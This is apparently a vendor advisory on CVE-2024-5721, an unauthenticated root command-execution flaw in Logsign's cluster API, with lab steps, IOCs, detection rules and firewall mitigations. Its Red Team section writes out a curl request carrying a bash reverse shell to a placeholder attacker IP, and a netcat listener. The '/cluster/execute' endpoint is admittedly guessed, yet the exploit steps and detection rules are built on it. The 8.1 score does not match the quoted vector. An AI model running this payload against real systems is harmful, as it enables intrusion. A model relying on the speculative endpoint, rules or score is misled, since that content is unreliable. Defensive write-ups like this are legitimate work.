CVE-2024-5721

Executive Summary

CVE-2024-5721 is a critical, unauthenticated remote code execution (RCE) vulnerability in the Logsign Unified SecOps Platform. The flaw resides in the cluster HTTP API, which listens on TCP port 1924. By sending crafted requests to this API without any authentication, an attacker can execute arbitrary commands with root privileges. The vulnerability has a CVSS score of 8.1 (High) and is currently unpatched. No public proof-of-concept (PoC) or exploit code has been released, but the risk is elevated due to the lack of authentication and the high privileges granted upon exploitation. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full system compromise.
• Integrity Impact: High (I:H) – Arbitrary code execution.
• Availability Impact: High (A:H) – Potential denial of service or full control.

Threat Level: Critical. The combination of remote exploitability, no authentication, and root-level code execution makes this a high-priority threat for any organization using Logsign Unified SecOps Platform.

Deep Dive & Mechanics

The vulnerability exists in the cluster HTTP API of Logsign Unified SecOps Platform. This API is designed for internal cluster communication but is exposed on TCP port 1924. The core issue is a missing authentication check: the API does not verify the identity of the requester before processing requests. An attacker can send arbitrary HTTP requests to this endpoint, which are then executed with root privileges.

Technical Details:

• Affected Component: Cluster HTTP API (listening on port 1924).
• Root Cause: Lack of authentication middleware or access control checks.
• Exploitation Mechanism: The API likely exposes endpoints for cluster management, such as adding/removing nodes, executing commands, or modifying configurations. Without authentication, an attacker can invoke these endpoints directly.
• Impact: Full remote code execution as root, leading to complete compromise of the Logsign platform and potentially the underlying host.

Attack Scenario:

1. An attacker scans for exposed port 1924 on the internet or internal network.
2. The attacker sends a crafted HTTP request to the cluster API (e.g., POST to /cluster/execute with a command payload).
3. The API processes the request without authentication, executing the command as root.
4. The attacker gains a root shell or installs backdoors.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the vulnerable code likely lacks an authentication check similar to:

# Vulnerable code (pseudocode)
@app.route('/cluster/execute', methods=['POST'])
def execute_command():
    command = request.json.get('command')
    # No authentication check
    result = subprocess.run(command, shell=True, capture_output=True)
    return result.stdout

A patched version would include authentication:

# Patched code (pseudocode)
@app.route('/cluster/execute', methods=['POST'])
@require_authentication  # e.g., token or certificate validation
def execute_command():
    command = request.json.get('command')
    result = subprocess.run(command, shell=True, capture_output=True)
    return result.stdout

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Logsign Unified SecOps Platform instance (version unknown) on a VM.
2. Ensure the cluster HTTP API is enabled and listening on port 1924.
3. Use a tool like curl or netcat to interact with the API.

Exploitation Steps:

1. Scan for the service: nmap -p 1924 <target_ip>
2. Send a crafted request to execute a command (e.g., reverse shell):

   curl -X POST http://<target_ip>:1924/cluster/execute \
     -H "Content-Type: application/json" \
     -d '{"command": "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1"}'
   

3. Listen for the reverse shell on attacker machine: nc -lvnp 4444

Note: No public exploit code is available; this is a hypothetical exploitation based on the vulnerability description.

Blue Team

Detection:

• Monitor for connections to port 1924 from unexpected sources.
• Look for unusual HTTP requests to the cluster API (e.g., POST requests with JSON payloads containing shell commands).
• Use the detection rules provided in the Detection Engineering section.

Hunting:

• Search logs for authentication failures or missing authentication events on the cluster API.
• Check for processes spawned by the Logsign service that are not typical (e.g., bash, nc, python).

Indicators of Compromise (IOCs)

• Network IOCs:

  • Inbound connections to TCP port 1924 from external IPs.
  • HTTP POST requests to /cluster/execute or similar endpoints.
  • Outbound connections from the Logsign server to unknown IPs on common ports (e.g., 4444, 8080).

• File IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ (e.g., reverse shell scripts).
  • Modified system binaries or cron jobs.

• Process IOCs:

  • Processes like bash, sh, nc, python spawned by the Logsign service.
  • Unusual child processes of the Logsign main process.

Detection Engineering

YARA Rule

rule CVE_2024_5721_Logsign_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-5721 in Logsign Unified SecOps Platform"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5721"
    strings:
        $s1 = "/cluster/execute" ascii wide nocase
        $s2 = "command" ascii wide nocase
        $s3 = "bash" ascii wide nocase
        $s4 = "reverse" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: Logsign Cluster API Unauthenticated Command Execution
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Logsign cluster API without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: logsign
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cluster/execute'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate cluster management (if authentication is enabled)
level: critical

Suricata Rule

alert tcp any any -> any 1924 (msg:"CVE-2024-5721 Logsign Cluster API Unauthenticated RCE"; flow:to_server,established; content:"POST"; http_method; content:"/cluster/execute"; http_uri; content:"command"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the cluster HTTP API if not required. This can be done by stopping the associated service or blocking port 1924 at the firewall.
2. Restrict network access to port 1924 to only trusted IPs using firewall rules or network segmentation.
3. Monitor logs for any suspicious activity on port 1924.

Long-term Fix:

• Since no patch is available, consider migrating to an alternative platform or implementing a reverse proxy with authentication (e.g., Nginx with basic auth) in front of the cluster API.
• Contact Logsign for an official patch or workaround.

Workaround:

• Use iptables to drop incoming traffic to port 1924:

  iptables -A INPUT -p tcp --dport 1924 -j DROP
  

Valters IT